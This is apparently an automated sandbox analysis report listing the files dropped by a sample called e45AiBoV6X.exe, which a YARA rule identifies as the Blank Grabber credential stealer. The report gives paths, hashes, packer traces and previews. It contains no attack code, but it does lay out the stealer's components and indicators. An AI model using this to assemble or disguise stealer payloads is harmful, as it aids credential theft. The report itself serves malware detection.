Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6.3.r}]Ar}]Ar}]A{..Ap}]A .\@p}]A..\@q}]Ar}\AU}]A .X@~}]A .Y@z}]A .^@q}]A..Y@t}]A..^@s}]A..]@s}]A.._@s}]ARichr}]A........................PE..d......].........." .....@................................................................`.........................................................................................................................................................................UPX0....................................UPX1.....@.......:..................@...UPX2.................>..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI73802\libssl-1_1.dll

Download File

Process:	C:\Users\user\Desktop\e45AiBoV6X.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	205216
Entropy (8bit):	7.9213750503510605
Encrypted:	false
SSDEEP:	3072:z4A92MK5MfGhqR1qnW/Bby+h0lE4GIp8/Mgfg68oPrRHUy1oygvaO9JSj8Hrd+/g:lSMehqKnEKlEARNYRP1lgl9jHrw/BgX
MD5:	7F77A090CB42609F2EFC55DDC1EE8FD5
SHA1:	EF5A128605654350A5BD17232120253194AD4C71
SHA-256:	47B63A9370289D2544ABC5A479BFB27D707AE7DB4F3F7B6CC1A8C8F57FD0CF1F
SHA-512:	A8A06A1303E76C76D1F06B689E163BA80C1A8137ADAC80FAB0D5C1C6072A69D506E0360D8B44315EF1D88CBD0C9AC95C94D001FAD5BC40727F1070734BBBBE63
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......{.T.?.:.?.:.?.:.6f..3.:.]f;.=.:..l;.=.:.]f?.3.:.]f>.7.:.]f9.;.:..g;.<.:.?.;...:..g>...:..g:.>.:..g.>.:..g8.>.:.Rich?.:.........PE..d.....0b.........." .........P...P..@....`...................................p............`..........................................&..4@...#....... ..........\|M...........f......................................@...@...........................................UPX0.....P..............................UPX1.........`......................@....rsrc....P... ...H..................@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI73802\python310.dll

Download File

Process:	C:\Users\user\Desktop\e45AiBoV6X.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1507312
Entropy (8bit):	7.992414868541998
Encrypted:	true
SSDEEP:	24576:crd6K1Bo1WfBpYjgE47pPsk1mEbFz9S/s/owvzjN1Qf4xsb+hnj3NhpRodki1X:dK1OWfBpYjjopXtBzY/s/oohjsbenj3w
MD5:	B93EDA8CC111A5BDE906505224B717C3
SHA1:	5F1AE1AB1A3C4C023EA8138D4B09CBC1CD8E8F9E
SHA-256:	EFA27CD726DBF3BF2448476A993DC0D5FFB0264032BF83A72295AB3FC5BCD983
SHA-512:	B20195930967B4DC9F60C15D9CEAE4D577B00095F07BD93AA4F292B94A2E5601D605659E95D5168C1C2D85DC87A54D27775F8F20EBCACF56904E4AA30F1AFFBA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........U...4...4...4...A...4...[n..4...A...4...A...4...A...4...L...4...F...4...4...5...A...4...A...4...Al..4...A...4..Rich.4..........................PE..d...\(.b.........." .............P/..XE..`/..................................PF...........`...........................................E......yE.d....pE......PB.h............@F......................................dE.8...........................................UPX0.....P/.............................UPX1.........`/.....................@....rsrc........pE.....................@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe

Download File

Process:	C:\Users\user\Desktop\e45AiBoV6X.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	630736
Entropy (8bit):	6.409476333013752
Encrypted:	false
SSDEEP:	12288:3lPCcFDlj+gV4zOifKlOWVNcjfQww0S5JPgdbBC9qxbYG9Y:3lPCcvj+YYrfSOWVNcj1JS5JPgdbBCZd
MD5:	9C223575AE5B9544BC3D69AC6364F75E
SHA1:	8A1CB5EE02C742E937FEBC57609AC312247BA386
SHA-256:	90341AC8DCC9EC5F9EFE89945A381EB701FE15C3196F594D9D9F0F67B4FC2213
SHA-512:	57663E2C07B56024AAAE07515EE3A56B2F5068EBB2F2DC42BE95D1224376C2458DA21C965AAB6AE54DE780CB874C2FC9DE83D9089ABF4536DE0F50FACA582D09
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@.a.@.a.@.a..v..F.a..v....a..v..M.a..J..B.a.{.b.H.a.{.d.j.a.{.e.U.a.I..K.a.@.`...a..d...a....A.a..c.A.a.Rich@.a.................PE..d....~.^.........."..........2.................@.............................p.......4....`..................................................]..x.......Xy......pD...`...?...`..........T...................x...(.......................@............................text...C........................... ..`.rdata..:p.......r..................@..@.data............2...b..............@....pdata..pD.......F..................@..@.tls................................@....rsrc...Xy.......z..................@..@.reloc.......`.......V..............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73802\rarreg.key

Download File

Process:	C:\Users\user\Desktop\e45AiBoV6X.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	456
Entropy (8bit):	4.447296373872587
Encrypted:	false
SSDEEP:	12:Bn9j9sxpCDPxfhKLiaE5cNH0u/OCIhjWO:B9jiWDpf025cNU7CIEO
MD5:	4531984CAD7DACF24C086830068C4ABE
SHA1:	FA7C8C46677AF01A83CF652EF30BA39B2AAE14C3
SHA-256:	58209C8AB4191E834FFE2ECD003FD7A830D3650F0FD1355A74EB8A47C61D4211
SHA-512:	00056F471945D838EF2CE56D51C32967879FE54FCBF93A237ED85A98E27C5C8D2A39BC815B41C15CAACE2071EDD0239D775A31D1794DC4DBA49E7ECFF1555122
Malicious:	true
Yara Hits:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rarreg.key, Author: Joe Security
Preview:	RAR registration data.Blank-c.Stealer License.UID=e7ae0ee11c8703113d95.64122122503d95ca34668bc2ffb72bcf8579be24bc20f3cd84baaf.afcf62e30badf158ad0c60feb872189f288e79eb40c28ca0ab6407.3a46f47624f80a44a0e4d71ef4224075bf9e28fce340a29099d287.15690be6b591c3bb355e99d6d1b8ffcd69602cb8aaa6dedf268c83.55c1fb90c384a926139625f6c0cbfc57a96996fdb04075bf9e28fc.e340a29067e9237e333577d2c7f3ed1d0f63287f74c9e50c60d76d.b5915ff59f78103d48e0826658d72ba8813da4a649711057613203.

C:\Users\user\AppData\Local\Temp\_MEI73802\select.pyd

Download File

Process:	C:\Users\user\Desktop\e45AiBoV6X.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	23536
Entropy (8bit):	7.33649667835335
Encrypted:	false
SSDEEP:	384:NiRf5SV1a/dSyQMZa7gJXUOjMIv7Gi64IYiSy1pCQaKEJ94i/8E9VFShf:NGxSVQFS0pEOgIv7GimYiSyvQJ9eEwf
MD5:	3CDFDB7D3ADF9589910C3DFBE55065C9
SHA1:	860EF30A8BC5F28AE9C81706A667F542D527D822
SHA-256:	92906737EFF7FF33B9E2A72D2A86E4BD80A35018C8E40BB79433A8EA8ECE3932
SHA-512:	1FE2C918E9CE524B855D7F38D4C69563F8B8C44291EEA1DC98F04E5EBDC39C8F2D658A716429051FB91FED0B912520929A0B980C4F5B4ECB3DE1C4EB83749A45
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......fa!.".O.".O.".O.+x.. .O.puN. .O.puJ.).O.puK.*.O.puL.&.O..uN. .O.".N.b.O..rN.'.O..uB.#.O..uO.#.O..u..#.O..uM.#.O.Rich".O.................PE..d....(.b.........." .....0...............................................................`......................................... ...L....................`..............l..........................................8...........................................UPX0....................................UPX1.....0.......(..................@....rsrc................,..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI73802\sqlite3.dll

Download File

Process:	C:\Users\user\Desktop\e45AiBoV6X.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	627184
Entropy (8bit):	7.993580071159261
Encrypted:	true
SSDEEP:	12288:RGzKl1BqBw166xh2tElkIExaDsI5HgIi0MRuQofTkFRjcdoPANBqwJceFBWpE:RsKl/Ew166OtHxaDJJwZATkrcB9JcgWa
MD5:	59ED17799F42CC17D63A20341B93B6F6
SHA1:	5F8B7D6202B597E72F8B49F4C33135E35AC76CD1
SHA-256:	852B38BD2D05DD9F000E540D3F5E4962E64597EB864A68AA8BB28CE7008E91F1
SHA-512:	3424AD59FD71C68E0AF716B7B94C4224B2ABFB11B7613F2E565F5D82F630E89C2798E732376A3A0E1266D8D58730B2F76C4E23EFE03C47A48CBF5F0FC165D333
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........v.C..@C..@C..@J.@O..@...AA..@...AO..@...AK..@...AG..@...A@..@C..@..@...AB..@...AB..@...@B..@...AB..@RichC..@................PE..d....(.b.........." .....@...0......P.....................................................`..............................................!..........................................................................`...8...........................................UPX0....................................UPX1.....@.......<..................@....rsrc....0...........@..............@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI73802\unicodedata.pyd

Download File

Process:	C:\Users\user\Desktop\e45AiBoV6X.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	293360
Entropy (8bit):	7.986777578304979
Encrypted:	false
SSDEEP:	6144:zxrLHdbWP4Ue5eV0KpvRWXH4mxy2Vc2X8r1kNgi7XG09JE1j4sbV9n:zNNWP4H543vRWomxdXgku8X9U1j4sbrn
MD5:	2218B2730B625B1AEEE6A67095C101A4
SHA1:	AA7F032B9C8B40E5ECF2A0F59FA5AE3F48EFF90A
SHA-256:	5E9ADD4DD806C2DE4D694B9BB038A6716BADB7D5F912884D80D593592BCDB8CA
SHA-512:	77AA10AE645C0BA24E31DCAB4726D8FB7AA3CB9708C7C85499E7D82CE46609D43E5DC74DA7CD32C170C7DDF50C8DB8945BAF3452421316C4A46888D745DE8DA0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........$z.OJ).OJ).OJ).7.).OJ).:K(.OJ).:O(.OJ).:N(.OJ).:I(.OJ)i:K(.OJ){=K(.OJ).OK).OJ)i:G(.OJ)i:J(.OJ)i:.).OJ)i:H(.OJ)Rich.OJ)........PE..d....(.b.........." .....P...........U... ................................................`..........................................{..X....y.......p.......................{.......................................a..8...........................................UPX0....................................UPX1.....P... ...D..................@....rsrc........p.......H..............@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a5oopz0y.odc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cgk3qsno.joo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ckr4t2is.kgv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_el2ev5v4.vs2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f1obnbab.egh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fiasqleg.ra4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_filn5e1j.czj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gspklbgg.v3l.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ijw43sfx.fly.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jhvfp3jl.vew.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kwfjhucn.ujl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lr50uuyc.yjy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mcsert2o.rhe.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nbzdtgau.rra.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nrmfrudr.xar.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_razewbe1.bh3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tjutlgwj.m2j.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tpbubbqi.2it.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uswfctve.bxu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xws0tuup.in5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\bohkan2x\CSC24344491B9A34B60B194FE692FA1E0E5.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.1053319510196555
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryW+Nak7Ynqqr+CPN5Dlq5J:+RI+ycuZhNZakSnPNnqX
MD5:	30FC31EF00E66964297235642C432108
SHA1:	4585CE280DE1C9134C813CB638C135B34A623C02
SHA-256:	A14C4CDDF8E1982FB215D7415A94176D351F50FC1E04CF1F613435AF580C217D
SHA-512:	EFD00ABE14640470901529E7E7116CEF834A9E5D7C5FA658378D4FDCBD82CA05A02194E896D60998EF4F4A08B25179C9F060FD2E18A4FE94D50093FE52F83DD8
Malicious:	false
